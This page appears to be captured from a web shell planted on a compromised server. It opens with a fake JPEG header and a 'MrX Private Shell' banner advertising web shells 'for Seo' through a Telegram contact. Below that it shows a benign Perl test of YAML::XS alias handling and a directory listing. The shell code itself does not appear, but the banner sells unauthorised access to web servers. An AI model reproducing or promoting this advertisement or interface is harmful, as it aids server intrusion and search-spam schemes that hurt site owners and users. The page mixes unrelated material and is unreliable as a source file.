����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict;
use warnings;
use Test::More;
use YAML::XS;
my $xs = YAML::XS->new;
my $yaml = <<'EOM';
- &SCALAR foo
- &SEQ [bar]
- &MAP
key: val
- *SCALAR
- *SEQ
- *MAP
EOM
my $data = $xs->load($yaml);
my @exp = (
(foo => ['bar'], { key => 'val' }) x 2
);
is_deeply $data, \@exp, 'load';
is $data->[0], $data->[3], 'scalar alias loaded correctly';
is $data->[1], $data->[4], 'sequence alias loaded correctly';
is $data->[2], $data->[5], 'mapping alias loaded correctly';
$yaml = $xs->dump($data);
my $exp = <<'EOM';
---
- foo
- &1
- bar
- &2
key: val
- foo
- *1
- *2
EOM
is $yaml, $exp, 'aliases are dumped correctly';
my $circle = [ 'x' ];
$circle->[1] = $circle;
$yaml = $xs->dump($circle);
$exp = <<'EOM';
--- &1
- x
- *1
EOM
is $yaml, $exp, 'circular refs are dumped correctly';
$yaml = <<'EOM';
- &NULL null
- &TRUE true
- &FALSE FALSE
- &INT 23
- &FLOAT 3.14
- &INF -.inf
- &NAN .nan
- *NULL
- *TRUE
- *FALSE
- *INT
- *FLOAT
- *INF
- *NAN
EOM
$data = $xs->load($yaml);
$yaml = $xs->dump($data);
$exp = <<'EOM';
---
- null
- true
- false
- 23
- 3.14
- -.inf
- .nan
- null
- true
- false
- 23
- 3.14
- -.inf
- .nan
EOM
is $yaml, $exp, 'aliases for different types';
$yaml = <<'EOM';
*alias
EOM
eval {
my $xs = YAML::XS->new;
$data = $xs->load($yaml);
};
my $err = $@;
like $err, qr{No anchor for alias .alias.}, "error for missing anchor";
done_testing;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 10-basic.t | File | 1.48 KB | 0644 |
|
| 11-schema.t | File | 4.7 KB | 0644 |
|
| 12-alias.t | File | 1.36 KB | 0644 |
|
| 13-utf8.t | File | 1.79 KB | 0644 |
|
| 14-options.pl | File | 3.25 KB | 0644 |
|
| schema-core.yaml | File | 10.31 KB | 0644 |
|